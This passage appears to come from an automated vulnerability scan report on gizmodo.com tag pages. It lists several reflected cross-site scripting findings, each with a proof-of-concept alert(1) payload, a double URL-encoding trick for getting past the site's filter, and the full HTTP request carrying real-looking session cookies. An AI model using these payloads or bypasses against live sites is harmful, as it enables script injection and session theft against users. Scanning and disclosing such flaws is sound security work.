Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:28:48 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:28:48 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=527973 at t=1292286529252925 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9988
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 132837

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<a href="/tag/video/?d770f"><script>alert(1)</script>f3d74d734e2=1&p=1" class="current_page">
...[SNIP]...

1.19. http://gizmodo.com/tag/whitenoise [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/whitenoise

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e9e43%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e22756c0072b was submitted in the REST URL parameter 2. This input was echoed as e9e43"><script>alert(1)</script>22756c0072b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /tag/whitenoisee9e43%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e22756c0072b HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:29:21 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:20 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:20 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:29:20 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:29:20 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:29:20 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=109571 at t=1292286561715890 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9987
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 59305

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="Gizmodo: whitenoisee9e43"><script>alert(1)</script>22756c0072b RSS feed" href="/tag/whitenoisee9e43%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e22756c0072b/index.xml" />
...[SNIP]...

1.20. http://gizmodo.com/tag/whitenoise [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/whitenoise

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 11fc6"-alert(1)-"703b9297a7c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /tag/whitenoise11fc6"-alert(1)-"703b9297a7c HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:29:24 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:23 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:23 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:29:23 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:29:23 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:29:23 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=339580 at t=1292286564175642 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9990
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 59050

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script>COMSCORE.beacon({ c1:2, c2:"6770184", c3:"", c4:"http://gizmodo.com/tag/whitenoise11fc6"-alert(1)-"703b9297a7c", c5:"", c6:"", c15:"d83bc45c61a6ebfbdc572c64d1a295c6" });</script>
...[SNIP]...

1.21. http://gizmodo.com/tag/whitenoise [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/whitenoise

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca8c3"><script>alert(1)</script>ec90ecc278f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /tag/whitenoise?ca8c3"><script>alert(1)</script>ec90ecc278f=1 HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:29:18 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:17 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:17 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:29:17 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:29:17 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:29:17 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=268562 at t=1292286558574997 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9995
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 321183

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<a href="/tag/whitenoise?ca8c3"><script>alert(1)</script>ec90ecc278f=1&p=1" class="current_page">
...[SNIP]...

1.22. http://gizmodo.com/tag/wikileaks/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/wikileaks/

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b7022"-alert(1)-"8b0eac3bf1b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /tag/wikileaksb7022"-alert(1)-"8b0eac3bf1b/ HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:29:04 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:03 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:03 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:29:03 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:29:03 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:29:03 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=153208 at t=1292286544153187 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9997
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 59042

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script>COMSCORE.beacon({ c1:2, c2:"6770184", c3:"", c4:"http://gizmodo.com/tag/wikileaksb7022"-alert(1)-"8b0eac3bf1b/", c5:"", c6:"", c15:"d83bc45c61a6ebfbdc572c64d1a295c6" });</script>
...[SNIP]...

1.23. http://gizmodo.com/tag/wikileaks/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/wikileaks/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c0abd%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e70d44296567 was submitted in the REST URL parameter 2. This input was echoed as c0abd"><script>alert(1)</script>70d44296567 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /tag/wikileaksc0abd%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e70d44296567/ HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:28:58 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:57 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:57 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:28:57 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:28:57 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:28:57 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=88414 at t=1292286538770056 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9990
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 59297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="Gizmodo: wikileaksc0abd"><script>alert(1)</script>70d44296567 RSS feed" href="/tag/wikileaksc0abd%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e70d44296567/index.xml" />
...[SNIP]...

1.24. http://gizmodo.com/tag/wikileaks/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/wikileaks/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 572c7"><script>alert(1)</script>dbe16609f51 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /tag/wikileaks/?572c7"><script>alert(1)</script>dbe16609f51=1 HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; 